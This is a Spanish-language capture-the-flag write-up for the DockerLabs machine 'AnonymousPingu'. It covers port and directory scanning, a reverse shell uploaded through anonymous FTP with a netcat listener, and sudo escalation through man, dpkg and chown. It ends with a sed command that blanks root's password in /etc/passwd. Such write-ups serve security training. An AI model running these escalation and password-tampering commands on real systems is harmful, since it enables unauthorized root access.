> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/anonymouspingu.md).

# AnonymousPingu

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/eORn3Ig5XGb2BduBwExj" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/CeY5t3q5VguXfp7gW9kC" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,80 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/wpPSYDTKtuTo1l6H7HIT" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web que nos muestra sea una de mantenimiento.

<figure><img src="/files/uyjfqNIotDAWmhSt5Fdz" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="/files/VcAkjfEcbem7ZpAdsEIf" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Vemos un directorio interesante que es `/uploads` entonces podemos subir archivos por lo que probamos subir a través de FTP siendo anónimos una [**Reverse Shell**](https://www.revshells.com/).&#x20;

<figure><img src="/files/NkOia7JgkF85zWH5KBaN" alt=""><figcaption></figcaption></figure>

Comprobamos que esta el archivo subido correctamente y nos ponemos en escucha.

```bash
nc -lnvp 443
```

<figure><img src="/files/97zy59y8Bom3cKnntGd8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZDx8QaBhNgKilamuZPaz" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/meSlqS2KRj63eeYvMjzS" alt=""><figcaption></figcaption></figure>

Comprobamos con [GTFOBins ](https://gtfobins.github.io/gtfobins/man/)con permisos **SUDO** en **man**.

```
sudo -u pingu /usr/bin/man
!bin/sh
```

Ahora somos el usuario **Pingu**.

<figure><img src="/files/3mF0GVmLeql4jYUitWp4" alt=""><figcaption></figcaption></figure>

Comprobamos con [GTFOBins ](https://gtfobins.github.io/gtfobins/dpkg/)con permisos **SUDO** en **dpkg**.

```bash
sudo -u gladys dpkg -l
!/bin/bash
```

<figure><img src="/files/y9QmYfPT1TN4tFnu12iv" alt=""><figcaption></figcaption></figure>

Comprobamos con [GTFOBins ](https://gtfobins.github.io/gtfobins/chown/)con permisos **SUDO** en **chown**.

```bash
sudo /usr/bin/chown gladys:gladys /etc
/usr/bin/sed -i 's/root:x:/root::/g' /etc/passwd #no tenemos permisos con nano o vim
```

<figure><img src="/files/VkBWIN2CdH24D0mVmoPh" alt=""><figcaption></figcaption></figure>
